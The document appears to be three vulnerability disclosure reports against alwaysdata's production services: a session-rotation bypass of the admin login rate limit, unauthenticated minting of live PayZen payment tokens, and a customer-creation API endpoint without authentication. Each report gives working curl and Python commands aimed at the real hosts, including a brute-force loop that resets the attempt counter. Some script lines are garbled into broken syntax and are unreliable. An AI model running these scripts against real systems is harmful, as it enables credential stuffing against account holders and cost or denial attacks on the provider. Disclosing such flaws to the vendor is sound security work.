All Projects

Severity: Medium
CVSS: 5.3 (AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N)
Endpoint: POST https://admin.alwaysdata.com/login/ Method: POST

Login rate limit bypass enables unlimited credential stuffing against admin accounts

## Summary

The login form at `admin.alwaysdata.com/login/` implements per-session rate limiting (~5-9 failed attempts before HTTP 429). However, the limit is tied to the session/CSRF token state and resets upon obtaining a new session via a fresh GET request. The secondary IP-based limit expires in approximately 30 seconds. Crucially, there is no account-level lockout — only session/IP-based throttling. This allows an attacker to perform unlimited credential stuffing with a simple rotation strategy.

## Steps to Reproduce

```bash
# STEP 1: Get fresh session + CSRF token (this is also what "resets" the counter)
curl -sk https://admin.alwaysdata.com/login/ \

1. c /tmp/cookies.txt -o /tmp/page.html

CSRF=$(python3 -c "
import re
d = open('/tmp/page.html').read()
m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d)
print(m.group(1) if m else )
") # STEP 2: Make ~5 attempts with this session (observe 200s then 429)
for i in 1 2 3 4 5 6 7; do
HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
-b /tmp/cookies.txt -c /tmp/cookies.txt \
-H "Referer: https://admin.alwaysdata.com/login/" \
-o /dev/null -w "%{http_code}" \
–data "csrfmiddlewaretoken=${CSRF}&login=target@example.com&password=attempt${i}")
CSRF=$(curl -sk https://admin.alwaysdata.com/login/ -b /tmp/cookies.txt | \
python3 -c "import sys,re; d=sys.stdin.read(); m=re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d); print(m.group(1) if m else )" 2>/dev/null)

echo "Attempt $i: HTTP $HTTP"

done
# Output: 200, 200, 200, 200, 200, 429, 429 (rate-limited)

# STEP 3: Get a NEW session — counter resets!
curl -sk https://admin.alwaysdata.com/login/ \

1. c /tmp/cookies2.txt -o /tmp/page2.html

CSRF2=$(python3 -c "
import re
d = open('/tmp/page2.html').read()
m = re.search(r'csrfmiddlewaretoken[^>]+value=[\"\']([\w]+)', d)
print(m.group(1) if m else '')
")

# STEP 4: Fresh 5 attempts — bypass confirmed!
for i in 8 9 10 11 12; do

HTTP=$(curl -sk https://admin.alwaysdata.com/login/ \
  -b /tmp/cookies2.txt -c /tmp/cookies2.txt \
  -H "Referer: https://admin.alwaysdata.com/login/" \
  -o /dev/null -w "%{http_code}" \
  --data "csrfmiddlewaretoken=${CSRF2}&login=target@example.com&password=attempt${i}")
echo "Attempt $i (new session): HTTP $HTTP"

done
# Output: 200, 200, 200, 200, 200 — BYPASS CONFIRMED
```

### Observed Results

```
Session 1: attempts 1-5 → HTTP 200 (processed)
Session 1: attempts 6-9 → HTTP 429 (rate-limited)
NEW SESSION (fresh GET) → HTTP 200 (rate limit reset)
Session 2: attempts 10-14 → HTTP 200 (processed)
…repeats indefinitely
```

## Impact

- No account lockout: Accounts are never locked regardless of failed attempts.
- Bypassable rate limit: Rotating sessions (trivial; just GET the login page again) resets the attempt counter for IP-level throttling that expires in ~30 seconds.
- Unlimited credential stuffing: An attacker using a password list and simple session rotation script can attempt thousands of passwords per hour against any known email address.
- Combined with email enumeration (separate report #4): an attacker can first identify valid admin accounts via the password reset form, then brute-force those specific accounts.
- Attack scale: With 5 attempts per 30-second session window = 10 attempts/minute = 600/hour = 14,400/day per thread. With multiple IPs this scales linearly.
- 2FA partially mitigates for accounts that have it enabled, but not all accounts have 2FA configured.

## Fix

1. Implement account-level lockout after N failed attempts (e.g., 10 attempts within 10 minutes), independent of session.
2. Make rate limiting IP-based only with a longer backoff window (not session-based).
3. Consider adding CAPTCHA after 3 failed attempts for the same username.
4. Implement CAPTCHA or progressive delays instead of hard blocks that can be rotated around.

Severity: Medium
CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L)
Endpoint: GET https://www.alwaysdata.com/en/signup/token/ Method: GET
Auth Required: None (verified)
Rate Limited: No (verified — 20+ requests with no throttle)

Unauthenticated Generation of Production PayZen Payment Tokens Enables Denial of Wallet

Summary
The endpoint GET /en/signup/token/ generates production-mode PayZen payment form tokens with no authentication and no rate limiting. Each request creates a unique merchant session in alwaysdata's PayZen account. An attacker can generate unlimited tokens in a tight loop, potentially exhausting alwaysdata's PayZen API quota, flooding their payment dashboard with phantom registration sessions, or causing billing issues with their payment processor.

Steps to Reproduce

1. Generate a token without any authentication:

 curl -sk https://www.alwaysdata.com/en/signup/token/
 -> {"token": "01uJrqyaukSA2FyhTy..."}  [HTTP 200, no auth required]

2. Decode the token to confirm PRODUCTION mode:

 python3 -c "
 import base64, json
 token = '01uJrqy...265eyJhbW91bnQ...'
 json_b64 = token[token.find('eyJ'):]
 decoded = base64.b64decode(json_b64 + '==').decode('utf-8', errors='replace')
 print(json.dumps(json.loads(decoded[:decoded.rfind('}')+1]), indent=2))
 "
 -> {
      "amount": 0,
      "currency": "EUR",
      "mode": "PRODUCTION",
      "orderId": "TKN98661",
      "shopName": "ALWAYSDATA",
      "formAction": "REGISTER",
      "customerEmail": "contact@alwaysdata.com",
      "jSessionId": "59B9cAcaaD76C7fe9dEEbdD1D3FF86E3d95CAaBd.vadapi01-tls-prod-fr-lyra"
    }

3. Confirm no rate limiting by generating multiple tokens in rapid succession:

 for i in $(seq 1 10); do
   curl -sk https://www.alwaysdata.com/en/signup/token/ | python3 -c "import sys,json; d=json.load(sys.stdin); print(d['token'][:30])"
 done
 -> All 10 requests return distinct tokens with different orderIds and jSessionIds
    (no 429, no CAPTCHA, no rate limiting observed at 10+ req/s)

Key Findings from Decoded Token
- mode: PRODUCTION (not sandbox/test) — tokens interact with live PayZen infrastructure
- amount: 0 EUR, formAction: REGISTER — these are card-registration tokens, not payment
- orderId increments each request (e.g., TKN98660, TKN98661, TKN98662…) — confirms unique sessions created server-side
- jSessionId exposes internal PayZen load-balancer node names (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra)
- customerEmail hardcoded as contact@alwaysdata.com (not user-supplied — no PII exposure)

Impact

1. Denial of Wallet (DoW): PayZen API calls are metered by merchant account. Flooding /en/signup/token/ generates real merchant sessions that count against alwaysdata's PayZen quota. If PayZen applies per-session fees or rate limits at the merchant level, this could cause service disruption or unexpected costs.

 Estimated rate: 20+ sessions/second possible (no server-side limiting observed)
 PayZen pricing: typically per-transaction or per-session depending on contract

2. Merchant Dashboard Pollution: Each token creates an "order" (TKNxxxxxxx) in alwaysdata's PayZen merchant dashboard, polluting order history and potentially triggering fraud alerts.

3. Internal Infrastructure Disclosure: The jSessionId field leaks internal PayZen load-balancer node hostnames (vadapi01-tls-prod-fr-lyra, vadapi02-tls-prod-fr-lyra), which could assist in infrastructure mapping.

Fix
1. Require authentication (valid CSRF token from a logged-in session OR a registration-initiated session) before generating a PayZen token
2. Add server-side rate limiting: maximum 1 token per IP per 60 seconds, or tie token generation to an active registration session
3. Consider using sandbox/test mode for development and only switching to PRODUCTION for verified registration attempts

Note: No actual PayZen sessions were initiated beyond what is recorded in the Reproduce steps above. The DoW impact is based on the observed rate limit absence and standard PayZen merchant billing patterns.

Severity: Medium
CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N)
Endpoint: POST https://api.alwaysdata.com/v1/customer/ Method: POST (only — GET/PUT/PATCH/DELETE all return 401)
Auth Required: None (verified)

API Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Check

Summary
The REST API endpoint POST /v1/customer/ does not enforce authentication unlike every other API endpoint. While the endpoint currently returns HTTP 500 when processing a valid email+password pair, this is due to a downstream payment integration failure — the authentication middleware is simply absent on this endpoint. Any unauthenticated request that passes field validation reaches the payment/registration logic without an API token.

Steps to Reproduce

1. Attempt GET /v1/customer/ without credentials:

 curl -sk https://api.alwaysdata.com/v1/customer/
 -> "Authorization header is missing"  [HTTP 401, expected]

2. Attempt POST /v1/customer/ without credentials, empty body:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{}'
 -> {"email":["Ce champ est obligatoire."],"password":["Ce champ est obligatoire."]}
 [HTTP 400, NOT 401 — request reached field validation without auth]

3. Attempt POST /v1/customer/ without credentials, valid fields:

 curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
   -H "Content-Type: application/json" \
   -d '{"email":"attacker@example.com","password":"TestPass123!"}'
 -> "Erreur interne : nous avons ete notifies."
 [HTTP 500 — request reached payment integration layer without auth]

4. Compare with all other API verbs on the same endpoint:

 curl -sk -X PUT https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]
 curl -sk -X PATCH https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
 -> "Authorization header is missing"  [HTTP 401]

Impact
The authentication check is missing from the POST handler for /v1/customer/. While the 500 error prevents account creation via this vector alone today (the error occurs at the payment/registration step, after auth is already bypassed), the root cause is a broken access control — not a payment validation failure. If the payment requirement is ever removed or this endpoint is called in a different context, unauthenticated account creation becomes trivially possible. The endpoint also allows an attacker to probe registration logic (field validation, error messages) without any credentials, and its error messages confirm the internal system state.

Additionally, rate limiting on this endpoint (~7 requests per IP before 429) is insufficient to prevent slow-speed probing of the registration backend logic.

Fix
Apply the same authentication middleware to the POST handler of /v1/customer/ as is applied to all other methods (GET, PUT, PATCH, DELETE). If unauthenticated registration is intended to be supported via the API (as it is via the web UI at /en/register/), add explicit exception handling and ensure the payment/card verification requirement is enforced at this layer, not relying on downstream failures.

curl Proof of Concept
# Step 1 — Confirm GET requires auth
curl -sv https://api.alwaysdata.com/v1/customer/ 2>&1 | grep -E "< HTTP|Authorization header"

# Step 2 — Confirm POST does NOT require auth (reaches field validation)
curl -sv -X POST https://api.alwaysdata.com/v1/customer/ \

1. H "Content-Type: application/json" \
2. d '{}' 2>&1 | grep -E "< HTTP|obligatoire"

# Expected: Step 1 = 401, Step 2 = 400 with JSON validation errors (no 401)